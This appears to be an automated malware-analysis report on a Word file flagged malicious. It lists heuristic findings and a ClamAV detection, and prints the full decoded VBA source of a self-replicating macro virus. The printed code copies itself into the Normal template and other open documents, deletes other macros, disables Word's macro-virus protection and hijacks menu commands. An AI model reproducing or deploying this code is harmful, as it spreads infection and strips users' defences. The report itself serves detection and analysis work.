MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains legacy WordBasic macro-virus markers and AutoOpen/Auto_Close VBA macros, indicating malicious intent. The ClamAV detection of 'Win.Trojan.C-286' on an extracted artifact strongly suggests a known trojan. The VBA code appears to be designed to execute and potentially establish persistence, though the exact mechanism is obfuscated.
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
nmak.CodeModule.DeleteLines 1, nmak.CodeModule.CountOfLines -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
AutoOpen -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6140 bytes |
SHA-256: 5ee5b24291c2e74c9bb78387cda5418fbab8e90fae56e14719e7373c6bebcdde |
|||
|
Detection
ClamAV:
Win.Trojan.C-286
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Dong"
Public AD As Object, aDes As Variant
Public DingLain As Boolean, afound As Boolean, hapus As Boolean, reset As Boolean, aExc As Boolean, DocCount As Boolean
Function Main()
Dim nmak(1) As String
Dim NT As Object
Dim aSrc$
On Error GoTo selesai
nmak(0) = "Dong"
nmak(1) = "DingForm"
aSrc = MacroContainer
Set NT = NormalTemplate
If Not DocCount Then
Set AD = ActiveDocument
ElseIf aSrc <> "dd.dot" Then
aSrc = NT
End If
If aSrc = NT Then
aSrc = NT.FullName: Set aDes = AD
ElseIf aSrc = AD Then
aSrc = AD.FullName: Set aDes = NT
ElseIf aSrc = "dd.dot" Then
Set aDes = NT
aSrc = Options.DefaultFilePath(8) & "\dd.src"
End If
Buang aDes
With aDes.VBProject
If Not (Not hapus And .Description = "Dong" And .VBComponents.Count > 2) Then
Tempel aSrc, aDes, nmak
hapus = False
.Description = "Dong"
If aDes = NT Then
Options.SaveInterval = 1
CustomizationContext = NT
CommandBars("Tools").reset
KeyBindings.Add KeyCode:=BuildKeyCode(77, 1024), KeyCategory:=1, _
Command:="ToolsRecordMacroStart"
aDes.Save
End If
'CommandBars("Macro").Controls(2).OnDingDong = "ViewVbCode"
Else
GoTo Aksi
End If
End With
If afound = True Then Exit Function
Refresh
On Error Resume Next
Aksi:
If aExc = True Then Exit Function
Exit Function
selesai:
If Err.Number = 50289 Then MsgBox "Terimakasih Anda Telah" & Chr(13) & "Memproteksi Word dengan Aman", vbInformation, "DingForm"
End Function
Sub Buang(Sfile)
Dim nmak As Object
For Each nmak In Sfile.VBProject.VBComponents
If nmak.Name = "NewMacros" Then DingLain = True
If nmak.Name <> "ThisDocument" And nmak.Name <> "NewMacros" _
And nmak.Name <> "Dong" And nmak.Name <> "DingForm" Then
hapus = True
If reset Then
Application.OrganizerDelete Sfile.FullName, nmak.Name, 3
Else
nmak.CodeModule.DeleteLines 1, nmak.CodeModule.CountOfLines
End If
End If
Next nmak
End Sub
Sub Tempel(Sfile, Dfile, nmak)
Dim aNmak
For Each aNmak In nmak
Application.OrganizerCopy Sfile, Dfile.FullName, aNmak, 3
Next
End Sub
Sub DingDong()
End Sub
Sub FileOpen()
WBT
If Dialogs(80).Show <> 0 Then
WBF
AutoOpen
Else
WBF
End If
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
Main
If Documents.Count > 1 Then
For i = 1 To Documents.Count
If Documents(i).Name <> ActiveDocument.Name Then
Set AD = Documents(i)
DocCount = True
hapus = False
Main
End If
Next
End If
'If Now > DateSerial(1998, 9, 10) Then Application.OnTime When:=Now + TimeValue("00:45:00"), Name:="astia.DingDong"
End
End Sub
Sub ViewVBCode()
'If MsgBox("Maaf.." & Chr(13) & "Anda jangan coba-coba mengedit, merubah, ataupun menghapus makro Titasic..!!" & Chr(13) & Chr(13) _
'& "Anda hanya bisa merekam makro, menyimpan, menggunakan" & Chr(13) & "serta menghapus makro buatan Anda" & Chr(13) & Chr(13) & " Apakah Anda ingin merekam makro..?", vbExclamation + vbYesNo, "DingForm") _
'= vbYes Then SendKeys "%m%s{down}~%d'Macro non-Titasic'%m"
End Sub
Sub AutoExec()
On Error Resume Next
If MacroContainer <> NormalTemplate Then
aExc = True
Main
WBT
AddIns.Unload False
WBF
End If
Application.EnableCancelKey = wdCancelDisabled
End Sub
Sub AutoExit()
Dim aAddin As Object
On Error GoTo batal
WBT
If Documents.Count <> 0 Then Documents.Close
Options.DefaultFilePath(2) = Options.DefaultFilePath(6)
afound = True
For Each aAddin In AddIns
If aAddin.Name = "dd.dot" Then afound = False
Next aAddin
If afound = True Then
Application.Visible = False
Documents.Add
Main
With ActiveDocument
.SaveAs FileName:=Options.DefaultFilePath(8) & "\dd.src", FileFormat:=wdFormatDocument, AddToRecentFiles:=False
.SaveAs FileName:=Options.DefaultFilePath(8) & "\dd.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False
End With
End If
Application.Quit
batal:
WBF
End Sub
Sub ToolsMacro()
WBF
On Error GoTo batal
Buang ActiveDocument
If DingLain Then
If MacroContainer = ActiveDocument Then Application.Run NormalTemplate.VBProject.Name & ".astia.ToolsMacro": Exit Sub
Application.DisplayAlerts = 0
With Dialogs(215)
.Description = "Macros Titasic mungkin tidak bisa Anda hapus, Anda hanya bisa menghapus makro buatan Anda (Descr: 'Makro non-Titasic')"
If .Display = 1 Then .Execute
End With
Application.DisplayAlerts = -1
Else
ViewVBCode
End If
batal:
End Sub
Sub FileTemplates()
WBF
If Not reset Then Dialogs(87).Display
End Sub
Sub FormatStyle()
WBF
Dialogs(180).Show
End Sub
Function Refresh()
reset = True
FileTemplates
Buang aDes
End Function
Sub AutoClose()
Application.DisplayAlerts = -1
With Options
.SaveNormalPrompt = False
.SaveInterval = 10
.VirusProtection = False
End With
If ActiveWindow.Caption <> "DingForm" And InStr(1, ActiveDocument.Name, "Docume", 1) = 0 _
And ActiveDocument.Name <> "dd.dot" Then Main
End Sub
Sub FileExit()
AutoExit
End Sub
Sub ToolsOptions()
Options.DefaultFilePath(wdUserTemplatesPath) = "C:\Program Files\Microsoft Office\Templates"
Dialogs(wdDialogToolsOptions).Show
Options.DefaultFilePath(wdUserTemplatesPath) = Application.Path
End Sub
Function WBT()
WordBasic.DisableAutoMacros True
End Function
Function WBF()
WordBasic.DisableAutoMacros False
End Function
Attribute VB_Name = "DingForm"
Attribute VB_Base = "0{91CFDD9C-8323-11D4-ACD9-900936D3B526}{91CFDD96-8323-11D4-ACD9-900936D3B526}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.